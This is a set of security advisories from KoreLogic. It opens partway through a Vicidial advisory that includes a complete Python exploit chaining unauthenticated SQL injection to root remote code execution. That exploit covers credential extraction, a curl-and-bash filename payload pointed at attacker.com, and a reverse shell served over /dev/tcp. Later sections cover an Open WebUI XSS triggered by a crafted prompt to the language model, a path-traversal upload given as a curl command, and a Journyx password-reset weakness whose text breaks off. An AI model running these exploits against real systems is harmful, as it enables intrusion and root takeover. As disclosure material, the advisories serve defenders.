($psline[1] =~ /AST_manager_se/) { $runningAST_send++; if ($DB) {print "AST_send RUNNING: |$psline[1]|\n";} } ... if ( ($AST_send_listen > 0) && ($runningAST_send < 1) ) { if ($DB) {print "starting AST_manager_send...\n";} # add a '-L' to the command below to activate logging `/usr/bin/screen -d -m -S ASTsend $PATHhome/AST_manager_send.pl $debug_string`; ``` The `AST_manager_send.pl` script will continuously monitor the `vicidial_manager` table in the SQL database for records with the `status` column equal the string `'NEW'`. Values from that row are then URL-encoded and used as command-line arguments to invoke the `AST_send_action_child.pl` perl script: ```perl while ($endless_loop > 0) { my $stmtA = "SELECT count(*) from vicidial_manager where server_ip = '" . $conf{VARserver_ip} . "' and status = 'NEW';"; ... $originate_command .= $vdm->{cmd_line_e} . "\n" if ($vdm->{cmd_line_e}); $originate_command .= $vdm->{cmd_line_f} . "\n" if ($vdm->{cmd_line_f}); $originate_command .= $vdm->{cmd_line_g} . "\n" if ($vdm->{cmd_line_g}); ... $vdm->{cmd_line_e} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $vdm->{cmd_line_f} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; $vdm->{cmd_line_g} =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg; ... $launch .= " --cmd_line_e=" . $vdm->{cmd_line_e} if ($vdm->{cmd_line_e}); $launch .= " --cmd_line_f=" . $vdm->{cmd_line_f} if ($vdm->{cmd_line_f}); $launch .= " --cmd_line_g=" . $vdm->{cmd_line_g} if ($vdm->{cmd_line_g}); ... $launch .= " >> " . $conf{PATHlogs} . "/action_send." . logDate() if ($SYSLOG); system($launch . ' &'); ``` The `AST_send_action_child.pl` will then initiate a telnet connection to the "Asterisk Call Manager" and issue various commands as they appear in the command-line arguments: ```perl my $tn = new Net::Telnet (Port => $telnet_port, Prompt => '/\r\n/', Output_record_separator => '', Errmode => "return"); ... $tn->open("$telnet_host"); $tn->waitfor('/Asterisk Call Manager\//'); ... $originate_command .= $cmd_line_e . "\n" if ($cmd_line_e); $originate_command .= $cmd_line_f . "\n" if ($cmd_line_f); $originate_command .= $cmd_line_g . "\n" if ($cmd_line_g); ... my @list_channels = $tn->cmd(String => $originate_command, Prompt => '/.*/'); ``` These commands are then processed by the Asterisk Management interface (AMI). The configuration file `extensions-vicidial.conf` contains useful information on how AMI processes the value of the user-controlled `Exten` command. The following is a relevant snippet: ```text exten => 8309,1,Answer exten => 8309,2,Monitor(wav,${CALLERID(name)}) exten => 8309,3,Wait(3600) exten => 8309,4,Hangup() ... ``` When supplying an `Exten` value of `8309`, the `Monitor` application is invoked, which will record the current call and write the recorded data into a file. The default directory is `/var/spool/asterisk/monitor`. In this case, the name of the file is derived from the `CALLERID`, which is also user-controlled. This can be leveraged by an attacker to write file names that contain malicious shell commands. Take for example the following HTTP request: ```http POST /agc/manager_send.php HTTP/1.1 Host: REDACTED Content-Length: 279 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 server_ip=REDACTED&session_name=1716765726_8300defaul17394646&user=korelogic&pass=korelogic&ACTION=MonitorConf&format=text&channel=Local/58600051@default&filename=3133731337$(id>foobar.txt)&exten=8309&ext_context=default&lead_id=&ext_priority=1&FROMvdc=YES&uniqueid=&FROMapi= ``` Two files are created within the `/var/spool/asterisk/monitor` directory: ```text vicibox11:/ # ls -l /var/spool/asterisk/monitor total 216 -rw-r--r-- 1 root root 213164 May 30 05:30 \ 3133731337$(id>foobar.txt)-in.wav -rw-r--r-- 1 root root 44 May 30 05:30 \ 3133731337$(id>foobar.txt)-out.wav ``` Additionally, the `AST_CRON_audio_1_move_VDonly.pl` perl script is executed every 3 minutes: ```text vicibox11:/ # crontab -l | grep VDonly 0,3,6,9,12,15,18,21,24,27,30,33,36,39,42,45,48,51,54,57 * * * * \ /usr/share/astguiclient/AST_CRON_audio_1_move_VDonly.pl ``` This script searches for WAV/GSM files within the Asterisk monitor directory and uses the file names to execute several shell commands: ```perl foreach(@FILES) { ... $INfile = $FILES[$i]; ... if (!$T) { `mv -f "$dir1/$INfile" "$dir2/$ALLfile"`; `rm -f "$dir1/$OUTfile"`; } ``` The malicious file name is then inserted into the `mv` command. The attacker controlled `id` command is executed and the output is redirected to the file `foo.txt`: ```text vicibox11:/ # ls -l /root/foobar.txt -rw-r--r-- 1 root root 39 May 30 05:33 /root/foobar.txt ``` ## Mitigation and Remediation Recommendation This issue has been remediated in the public svn/trunk codebase, as of revision 3848 committed 2024-07-08. ## Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. ## Proof of Concept Instead of executing the `id` command, a malicious bash script can be downloaded and executing using the cURL utility. The following file name is an example: ```text $(curl$IFS@attacker.com$IFS-o$IFS.c&&bash$IFS.c) ``` This issue can be chained with KL-001-2024-011 (unauthenticated SQL injection) to execute arbitrary shell commands as the root user from an unauthenticated perspective: ```text [goon@security exploits]$ python unauth2rce.py -rh 192.168.2.136 -rp 443 -wh 192.168.2.65 -wp 3000 -lh 192.168.2.65 -lp 1337 --bind [+] Target appears vulnerable to time-based SQL injection [~] Enumerating administrator credentials [~] 6 [~] 66 [~] 666 [~] 6666 [+] Username: 6666 [~] J [~] JA [~] JAB [~] JAB1 [~] JAB18 [~] JAB181 [~] JAB181M [~] JAB181MA [~] JAB181MAB [~] JAB181MAB1 [~] JAB181MAB17 [~] JAB181MAB178 [~] JAB181MAB178_ [~] JAB181MAB178_L [~] JAB181MAB178_LA [~] JAB181MAB178_LAn [+] Password: JAB181MAB178_LAn [+] Authenticated successfully as user "6666" [+] Updated user settings to increase privileges [+] Updated system settings [+] Created dummy campaign "korelogic_campaign" [+] Updated dummy campaign settings [+] Created dummy list for campaign [+] Found phone credentials: callin:test [+] Entered "manager" credentials to override shift enforcement [+] Authenticated as agent using phone credentials [~] Listening for incoming connections... [+] Received cURL request from 192.168.2.136 Connection from 192.168.2.136:56980 vicibox11:~ # id uid=0(root) gid=0(root) groups=0(root) ``` ### unauth2rce.py ```python import os import re import socket import string import random import urllib3 import argparse import requests import threading from base64 import b64encode from bs4 import BeautifulSoup urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class Exploit: def __init__(self, rhost, rport, whost, wport, lhost=None, lport=None, bind=False, proxy=None): """ This 'sleep' duration is derived by the average response time multiplied by this value. A server with an average response time of 10ms is given a 'sleep' duration of 300ms. Tune as needed. """ self.SLEEP_MULTIPLIER = 30 self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'} self.ALLOWED_SCHEMES = ['http', 'https'] if proxy: self.REQUEST_PROXIES = { 'http': proxy, 'https': proxy } else: self.REQUEST_PROXIES = {} self.TARGET_IP = rhost self.TARGET_PORT = rport self.PAYLOAD_WEBSERVER_HOST = whost self.PAYLOAD_WEBSERVER_PORT = wport self.REVERSE_SHELL_HOST = lhost self.REVERSE_SHELL_PORT = lport self.BIND = bind self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!' self.RANDOM_CHARSET = string.ascii_uppercase + string.digits # returns a URI with 'http' or 'https' def determine_target_uri(self): for scheme in self.ALLOWED_SCHEMES: target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}' try: response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False) if self.VICIDIAL_FINGERPRINT in response.text: return target_uri except: pass # returns a session object with custom proxies/headers if supplied def build_requests_session(self): self.base_uri = self.determine_target_uri() session = requests.Session() session.proxies = self.REQUEST_PROXIES session.verify = False return session # returns a random string of a given length def random(self, length): return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length)) # returns a timedelta representing the response time of an injected SQL query def time_sql_query(self, query, session): username = f"goolicker', '', ({query}));# " credentials = f'{username}:password' credentials_base64 = b64encode(credentials.encode()).decode() auth_header = f'Basic {credentials_base64}' target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php' request_params = {'function': 'log_custom_report', self.random(5): self.random(5)} request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header} response = session.get(target_uri, params=request_params, headers=request_headers) return response.elapsed # returns a boolean if time-based SQL injection is possible, additionally # sets the best 'sleep' duration based on response times def is_vulnerable(self, session, baseline_iterations=5): # determine average baseline response time zero_sleep_query = f'SELECT (NULL)' total_baseline_time = 0 for _ in range(baseline_iterations): execution_time = self.time_sql_query(zero_sleep_query, session) total_baseline_time += execution_time.total_seconds() average_baseline_response_time = total_baseline_time / baseline_iterations self.sql_baseline_time = average_baseline_response_time # determine if injected sleep query impacts response time sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2) sleep_query = f'SELECT (sleep({sleep_length}))' execution_time = self.time_sql_query(sleep_query, session) if execution_time.total_seconds() >= sleep_length: self.sql_sleep_length = sleep_length return True else: return False # determine if a character at a specific indice of a query result returns a # boolean 'true' when compared to a given character using the supplied operator def check_indice_of_query_result(self, session, query, indice, operator, ordinal): parent_query = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)' execution_time = self.time_sql_query(parent_query, session) return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER) def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable): # convert charset to ordinals all_characters = sorted([ord(char) for char in charset]) reduced_characters = all_characters # use a binary search and enumerate query results result = '' indice = 1 indice_could_be_null = True while True: """ we check if the value is NULL once per indice to determine when a string ends. this adds one request per indice, but since every boolean 'true' results in a delay this is faster than counting the length of the string before enumrating. """ if indice_could_be_null: if self.check_indice_of_query_result(session, query, indice, '=', '0'): break else: indice_could_be_null = False # enumerate each character of query result with a binary search middle_indice = len(reduced_characters) // 2 middle_ordinal = reduced_characters[middle_indice] if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal): if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal): reduced_characters = all_characters result += chr(middle_ordinal) indice += 1 indice_could_be_null = True print(f'[~] {result}') else: reduced_characters = reduced_characters[:middle_indice] else: reduced_characters = reduced_characters[middle_indice:] return result def poison_recording_files(self, session, username, password): # authenticate using administrator credentials credentials = f'{username}:{password}' credentials_base64 = b64encode(credentials.encode()).decode() auth_header = f'Basic {credentials_base64}' target_uri = f'{self.base_uri}/vicidial/admin.php' request_params = {'ADD': '3', 'user': username} request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header} response = session.get(target_uri, params=request_params, headers=request_headers) if response.status_code == 200: print(f'[+] Authenticated successfully as user "{username}"') else: print('[-] Failed to authenticate with credentials. Maybe hashing is enabled?') return # update user settings to increase privileges beyond default administrator user_settings_body = { "ADD":"4A","custom_fields_modify":"0","user":username,"DB":"0","pass":password, "force_change_password":"N","full_name":"KoreLogic","user_level":"9", "user_group":"ADMIN","phone_login":"KoreLogic","phone_pass":"KoreLogic", "active":"Y","voicemail_id":"","email":"","mobile_number":"","user_code":"", "user_location":"","user_group_two":"","territory":"","user_nickname":"", "user_new_lead_limit":"-1","agent_choose_ingroups":"1","agent_choose_blended":"1", "hotkeys_active":"0","scheduled_callbacks":"1","agentonly_callbacks":"0", "next_dial_my_callbacks":"NOT_ACTIVE","agentcall_manual":"0","manual_dial_filter":"DISABLED", "agentcall_email":"0","agentcall_chat":"0","vicidial_recording":"1","vicidial_transfers":"1", "closer_default_blended":"0","user_choose_language":"0","selected_language":"default+English", "vicidial_recording_override":"DISABLED","mute_recordings":"DISABLED", "alter_custdata_override":"NOT_ACTIVE","alter_custphone_override":"NOT_ACTIVE", "agent_shift_enforcement_override":"ALL","agent_call_log_view_override":"Y", "hide_call_log_info":"Y","agent_lead_search":"NOT_ACTIVE","lead_filter_id":"NONE", "user_hide_realtime":"0","allow_alerts":"0","preset_contact_search":"NOT_ACTIVE", "max_inbound_calls":"0","max_inbound_filter_enabled":"0","max_inbound_filter_min_sec":"-1", "inbound_credits":"-1","max_hopper_calls":"0","max_hopper_calls_hour":"0", "wrapup_seconds_override":"-1","ready_max_logout":"-1","status_group_id":"", "campaign_js_rank_select":"","campaign_js_grade_select":"","ingroup_js_rank_select":"", "ingroup_js_grade_select":"","RANK_AGENTDIRECT":"0","GRADE_AGENTDIRECT":"10", "LIMIT_AGENTDIRECT":"-1","WEB_AGENTDIRECT":"","RANK_AGENTDIRECT_CHAT":"0", "GRADE_AGENTDIRECT_CHAT":"10","LIMIT_AGENTDIRECT_CHAT":"-1","WEB_AGENTDIRECT_CHAT":"", "custom_one":"","custom_two":"","custom_three":"","custom_four":"","custom_five":"", "qc_enabled":"0","qc_user_level":"1","qc_pass":"0","qc_finish":"0","qc_commit":"0", "hci_enabled":"0","realtime_block_user_info":"0","admin_hide_lead_data":"0", "admin_hide_phone_data":"0","ignore_group_on_search":"0","user_admin_redirect_url":"", "view_reports":"1","access_recordings":"0","alter_agent_interface_options":"1", "modify_users":"1","change_agent_campaign":"1","delete_users":"1","modify_usergroups":"1", "delete_user_groups":"1","modify_lists":"1","delete_lists":"1","load_leads":"1", "modify_leads":"1","export_gdpr_leads":"0","download_lists":"1","export_reports":"1", "delete_from_dnc":"1","modify_campaigns":"1","campaign_detail":"1","modify_dial_prefix":"1", "delete_campaigns":"1","modify_ingroups":"1","delete_ingroups":"1","modify_inbound_dids":"1", "delete_inbound_dids":"1","modify_custom_dialplans":"1","modify_remoteagents":"1", "delete_remote_agents":"1","modify_scripts":"1","delete_scripts":"1","modify_filters":"1", "delete_filters":"1","ast_admin_access":"1","ast_delete_phones":"1","modify_call_times":"1", "delete_call_times":"1","modify_servers":"1","modify_shifts":"1","modify_phones":"1", "modify_carriers":"1","modify_email_accounts":"0","modify_labels":"1","modify_colors":"1", "modify_languages":"0","modify_statuses":"1","modify_voicemail":"1","modify_audiostore":"1", "modify_moh":"1","modify_tts":"1","modify_contacts":"1","callcard_admin":"1", "modify_auto_reports":"0","add_timeclock_log":"1","modify_timeclock_log":"1", "delete_timeclock_log":"1","manager_shift_enforcement_override":"1","pause_code_approval":"1", "admin_cf_show_hidden":"0","modify_ip_lists":"0","ignore_ip_list":"0", "two_factor_override":"NOT_ACTIVE","vdc_agent_api_access":"1","api_list_restrict":"0", "api_allowed_functions%5B%5D":"ALL_FUNCTIONS","api_only_user":"0","modify_same_user_level":"1", "download_invalid_files":"1","alter_admin_interface_options":"1","SUBMIT":"SUBMIT" } response = session.post(target_uri, headers=request_headers, data=user_settings_body) print('[+] Updated user settings to increase privileges') # update system settings without clobbering existing configuration response = session.get(target_uri, headers=request_headers, params={'ADD':'311111111111111'}) soup = BeautifulSoup(response.text, 'html.parser') form_tag = soup.find('form') system_settings_body = {} for input_tag in form_tag.find_all('input'): setting_name = input_tag['name'] setting_value = input_tag['value'] system_settings_body[setting_name] = setting_value for select_tag in form_tag.find_all('select'): setting_name = select_tag['name'] selected_tag = select_tag.find('option', selected=True) if not selected_tag: continue setting_value = selected_tag.text system_settings_body[setting_name] = setting_value system_settings_body['outbound_autodial_active'] = '0' response = session.post(target_uri, headers=request_headers, data=system_settings_body) print('[+] Updated system settings') # create dummy campaign campaign_settings_body = { "ADD":"21","park_ext":"","campaign_id":"313373","campaign_name":"korelogic_campaign", "campaign_description":"","user_group":"---ALL---","active":"Y","park_file_name":"", "web_form_address":"","allow_closers":"Y","hopper_level":"1","auto_dial_level":"0", "next_agent_call":"random","local_call_time":"12pm-5pm","voicemail_ext":"","script_id":"", "get_call_launch":"NONE","SUBMIT":"SUBMIT" } response = session.post(target_uri, headers=request_headers, data=campaign_settings_body) print('[+] Created dummy campaign "korelogic_campaign"') # update dummy campaign update_campaign_body = { "ADD":"41","campaign_id":"313373","old_campaign_allow_inbound":"Y", "campaign_name":"korelogic_campaign","active":"Y","dial_status":"","lead_order":"DOWN", "list_order_mix":"DISABLED","lead_filter_id":"NONE", "no_hopper_leads_logins":"Y", "hopper_level":"1","reset_hopper":"N","dial_method":"RATIO","auto_dial_level":"1", "adaptive_intensity":"0","SUBMIT":"SUBMIT","form_end":"END" } response = session.post(target_uri, headers=request_headers, data=update_campaign_body) print('[+] Updated dummy campaign settings') # create dummy list list_settings_body = { "ADD":"211","list_id":"313374","list_name":"korelogic_list","list_description":"", "campaign_id":"313373","active":"Y","SUBMIT":"SUBMIT" } response = session.post(target_uri, headers=request_headers, data=list_settings_body) print('[+] Created dummy list for campaign') # fetch credentials for a phone login response = session.get(target_uri, headers=request_headers, params={'ADD':'10000000000'}) soup = BeautifulSoup(response.text, 'html.parser') phone_uri_path = soup.find('a', string='MODIFY')['href'] response = session.get(f'{self.base_uri}{phone_uri_path}', headers=request_headers) soup = BeautifulSoup(response.text, 'html.parser') phone_extension = soup.find('input', {'name': 'extension'})['value'] phone_password = soup.find('input', {'name': 'pass'})['value'] recording_extension = soup.find('input', {'name': 'recording_exten'})['value'] print(f'[+] Found phone credentials: {phone_extension}:{phone_password}') # authenticate to agent portal with phone credentials manager_login_body = { "DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","phone_login":phone_extension, "phone_pass":phone_password,"LOGINvarONE":"","LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"", "LOGINvarFIVE":"","hide_relogin_fields":"","VD_login":username,"VD_pass":password, "MGR_override":"1","relogin":"YES","VD_login":username,"VD_pass":password, "MGR_login20240530":username,"MGR_pass20240530":password,"SUBMIT":"SUBMIT" } response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=manager_login_body) print(f'[+] Entered "manager" credentials to override shift enforcement') agent_login_body = { "DB":"0","JS_browser_height":"1313","JS_browser_width":"2560","admin_test":"","LOGINvarONE":"", "LOGINvarTWO":"","LOGINvarTHREE":"","LOGINvarFOUR":"","LOGINvarFIVE":"","phone_login":phone_extension, "phone_pass":phone_password,"VD_login":username,"VD_pass":password,"VD_campaign":"313373", } response = session.post(f'{self.base_uri}/agc/vicidial.php', headers=request_headers, data=agent_login_body) print(f'[+] Authenticated as agent using phone credentials') # insert malicious recording session_name = re.findall(r"var session_name = '([a-zA-Z0-9_]+?)';", response.text)[0] session_id = re.findall(r"var session_id = '([0-9]+?)';", response.text)[0] malicious_filename = f"3133731337$(curl$IFS@{self.PAYLOAD_WEBSERVER_HOST}:{self.PAYLOAD_WEBSERVER_PORT}$IFS-o$IFS.c&&bash$IFS.c)" record1_body = { "server_ip":self.TARGET_IP,"session_name":session_name,"user":username,"pass":password, "ACTION":"MonitorConf","format":"text","channel":f"Local/{recording_extension}@default","filename":malicious_filename, "exten":recording_extension,"ext_context":"default","lead_id":"","ext_priority":"1","FROMvdc":"YES", "uniqueid":"","FROMapi":"" } response = session.post(f'{self.base_uri}/agc/manager_send.php', headers=request_headers, data=record1_body) recording_id = re.findall(r'RecorDing_ID: ([0-9]+)', response.text)[0] # stop malicious recording to prevent file size from growing record2_body = { "server_ip":self.TARGET_IP,"session_name":session_name,"user":username, "pass":password,"ACTION":"StopMonitorConf","format":"text","channel":f"Local/{recording_extension}@default", "filename":f"ID:{recording_id}","exten":session_id,"ext_context":"default","lead_id":"","ext_priority":"1", "FROMvdc":"YES","uniqueid":"","FROMapi":"" } response = session.post(f'{self.base_uri}/agc/conf_exten_check.php', headers=request_headers, data=record2_body) # returns administrator username and password by # exploiting time-based SQL injection. def extract_admin_credentials(self, session): print('[~] Enumerating administrator credentials') username_charset = string.ascii_letters + string.digits admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1" admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset) print(f'[+] Username: {admin_username}') password_charset = string.ascii_letters + string.digits + '-.+/=_' admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1" admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset) print(f'[+] Password: {admin_password}') return admin_username, admin_password # emulates a webserver to deliver exploit script def payload_webserver(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((self.PAYLOAD_WEBSERVER_HOST, int(self.PAYLOAD_WEBSERVER_PORT))) server.listen(1) while True: client, incoming_address = server.accept() message = client.recv(100) if b'User-Agent: curl' in message: break else: client.close() print(f'[+] Received cURL request from {incoming_address[0]}') exploit_script = f"#!/bin/bash\nbash -i >& /dev/tcp/{self.REVERSE_SHELL_HOST}/{self.REVERSE_SHELL_PORT} 0>&1" http_response = f"HTTP/1.1 200 OK\r\n" http_response += f"Content-Length: {len(exploit_script)}\r\n\r\n" http_response += exploit_script client.sendall(http_response.encode()) client.close() # starts a netcat process to catch the incoming reverse shell def netcat_listener(self): os.system(f'nc -nlvs {self.REVERSE_SHELL_HOST} -p {self.REVERSE_SHELL_PORT}') # binds to provided addresses and handles incoming connections def prepare_listeners(self): webserver = threading.Thread(target=self.payload_webserver) netcat = threading.Thread(target=self.netcat_listener) print('[~] Listening for incoming connections...') netcat.start() webserver.start() # establish a reverse shell as root from the vicidial instance def shell(self): session = self.build_requests_session() is_vulnerable = self.is_vulnerable(session) if is_vulnerable: print('[+] Target appears vulnerable to time-based SQL injection') else: print('[-] Failed to perform time-based SQL injection') return username, password = self.extract_admin_credentials(session) self.poison_recording_files(session, username, password) # prepare exploit listeners if configured if self.BIND: self.prepare_listeners() if __name__ == '__main__': argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi to RCE as root') required = argparser.add_argument_group('Required Arguments') optional = argparser.add_argument_group('Optional Arguments') required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address') required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number') required.add_argument('-wh', '--whost', required=True, help='Malicious webserver IP address') required.add_argument('-wp', '--wport', required=True, help='Malicious webserver port number') required.add_argument('-lh', '--lhost', required=False, help='Reverse shell listener IP address') required.add_argument('-lp', '--lport', required=False, help='Reverse shell listener port number') optional.add_argument('-b', '--bind', required=False, help='Bind to [lhost:lport] and [whost:wport] and handle connections automatically', action='store_true', default=False) optional.add_argument('-p', '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None) arguments = argparser.parse_args() exploit = Exploit( rhost = arguments.rhost, rport = arguments.rport, whost = arguments.whost, wport = arguments.wport, lhost = arguments.lhost, lport = arguments.lport, bind = arguments.bind, proxy = arguments.proxy ) exploit.shell() ``` --- ## KL-001-2024-005: Open WebUI Stored Cross-Site Scripting URL: https://korelogic.com/advisories/KL-001-2024-005/ KL-001-2024-005 - Open WebUI Stored Cross-Site Scripting - CVE-2024-6706 - Open WebUI Open WebUI Advisory ID: KL-001-2024-005 Published: 2024-08-07 Vendor: Open WebUI Product: Open WebUI Version: 0.1.105 Platform: Debian 12 CVE: CVE-2024-6706 CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Discovered by: Jaggar Henry, Sean Segreti ## References - [CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html) - [CVE-2024-6706](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6706) - [Signed advisory text](/advisories/KL-001-2024-005.txt) ## Vulnerability Description Attackers can craft a malicious prompt that coerces the language model into executing arbitrary JavaScript in the context of the web page. ## Technical Description The responses from language models are retrieved from an API call and displayed to the user by inserting the response into the web page. These responses are often in markdown. Before the content is inserted the markdown is converted to HTML and most special characters are outside of markdown codeblocks are converted to their respective HTML entity, as to ensure text that resembles HTML tags are rendered literally. However, these special characters are NOT encoded if they appear inside a markdown codeblock. For example, take the following response: ````text ``` ``` ```` Once parsed, the resulting HTML inserted into the page is as follows: ```html <img src = "x" > ``` As shown above, problematic characters such as angle-brackets are properly sanitized. Now, take for example the following prompt: ````text Render the following inline using codeblocks. Do not modify the text that comes after the colon. Simply render the following, and make sure to include the backticks, that is very important: foo ``` bar ``` zoinks ``` ```` Notice the markdown codeblocks included in the prompt are uneven and not closed properly. When the language model follows the prompt, the above text should be inserted between two sets of triple-backticks: ````text The text between the codeblocks will be rendered as it is, without any modifications. Here is the rendered output: ``` foo ``` bar ``` zoinks ``` ```` Strangely, the language model accounted for the missing backticks and omitted the final set. When this response is rendered by Open WebUI, the string "foo" and "zoinks" are inserted into `` HTML tags, while the rest is simply rendered in the browser as HTML: ````html

Here's the corrected response with the backticks included:

      
        foo
      
    

bar

      
        zoinks
      
    
```
```` This client-side vulnerability could be the result of expected behavior from HTML codeblocks. Since `` tags are designed to contain raw HTML that is rendered as literal strings, sanitization is skipped. However, by feeding the model invalid markdown it is possible to confuse the sanitizer and execute arbitrary JavaScript, as demonstrated above. ## Mitigation and Remediation Recommendation No response from vendor; maintainer closed GitHub security report GHSA-6953-m722-rpq8 on 2024.05.02. As of publication, this issue appears to have been silently remediated. ## Credit This vulnerability was discovered by Jaggar Henry and Sean Segreti of KoreLogic, Inc. ## Proof of Concept 1. Click "New Chat" on the top left of the screen. 2. Select a language model via the dropdown at the top of the screen, such as "codellama:latest". 3. Paste the following prompt into the message box at the bottom of the screen: ````text The text between the codeblocks will be rendered as it is, without any modifications. Here is the rendered output: ``` foo ``` bar ``` zoinks ``` ```` 4. Send the message. 5. Observe the JavaScript message box that has appeared at the top of the screen. --- ## KL-001-2024-006: Open WebUI Arbitrary File Upload + Path Traversal URL: https://korelogic.com/advisories/KL-001-2024-006/ KL-001-2024-006 - Open WebUI Arbitrary File Upload + Path Traversal - CVE-2024-6707 - Open WebUI Open WebUI Advisory ID: KL-001-2024-006 Published: 2024-08-07 Vendor: Open WebUI Product: Open WebUI Version: 0.1.105 Platform: Debian 12 CVE: CVE-2024-6707 CWE: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') CWE: CWE-434 - Unrestricted Upload of File with Dangerous Type Discovered by: Jaggar Henry, Sean Segreti ## References - [CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html) - [CWE-434 - Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html) - [CVE-2024-6707](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6707) - [Signed advisory text](/advisories/KL-001-2024-006.txt) ## Vulnerability Description Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. ## Technical Description When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the `/rag/api/v1/doc` API route: ```python @app.post("/doc") def store_doc( collection_name: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(get_current_user), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm" print(file.content_type) try: filename = file.filename file_path = f"{UPLOAD_DIR}/{filename}" contents = file.file.read() with open(file_path, "wb") as f: f.write(contents) f.close() ``` The `file` variable is a representation of the multipart form data contained within the HTTP POST request. The `filename` variable is derived from the uploaded file name and is not validated before writing the file contents to disk. This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled `authorized_keys` file to remotely connect to the machine. ## Mitigation and Remediation Recommendation This issue was remediated in Open WebUI release v0.1.117 on 2024.04.03. ## Credit This vulnerability was discovered by Jaggar Henry and Sean Segreti of KoreLogic, Inc. ## Proof of Concept Execute the following cURL command: ```bash TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc" ``` Verify the file `pwned.txt` exists in the `/tmp/` directory on the machine hosting the web server: ```text ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$ ``` --- ## KL-001-2024-007: Journyx Unauthenticated Password Reset Bruteforce URL: https://korelogic.com/advisories/KL-001-2024-007/ KL-001-2024-007 - Journyx Unauthenticated Password Reset Bruteforce - CVE-2024-6890 - Journyx Journyx (jtime) Advisory ID: KL-001-2024-007 Published: 2024-08-07 Vendor: Journyx Product: Journyx (jtime) Version: 11.5.4 Platform: GNU/Linux CVE: CVE-2024-6890 CWE: CWE-321 - Use of Hard-coded Cryptographic Key CWE: CWE-334 - Small Space of Random Values Discovered by: Jaggar Henry ## References - [CWE-321 - Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) - [CWE-334 - Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html) - [CVE-2024-6890](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6890) - [Signed advisory text](/advisories/KL-001-2024-007.txt) ## Vulnerability Description Password reset tokens are generated using an insecure source of randomness. Attackers who know the username of the Journyx installation user can bruteforce the password reset and change the administrator password. ## Technical Description From an unauthenticated perspective, a user can initiate the password reset flow by clicking the "Reset your password" button on the Journyx login screen and supplying a valid username. A password reset link containing a "random" token is sent to the email address associated with the username. The password reset token is generated using the current epoch and the user ID associated with the request. The user ID is a 128-bit UUID for every user *except* for the user created during the initial setup of the Journyx instance, i.e., the system administrator account. For this single user, the user ID defaults to the username. By targeting this user, the need to leak a UUID is removed entirely. If the Journyx instance was configured according to the official System Administration guide (https://journyx.com/Files/Journyx_Sysadmin_and_Recovery_v11.pdf), the username is "journyx". Alternatively, the username can be leaked via stacktraces. When generating the token, a secret key is created by inserting the user ID in between the strings 'chuck' and 'palahniuk': ```python mysessiontoken = 'chuck%spalahniuk' % me ``` This key is used to XOR the string literal representation of the list object `[userID, time.time()]`. The output of the XOR function is then base64 encoded: 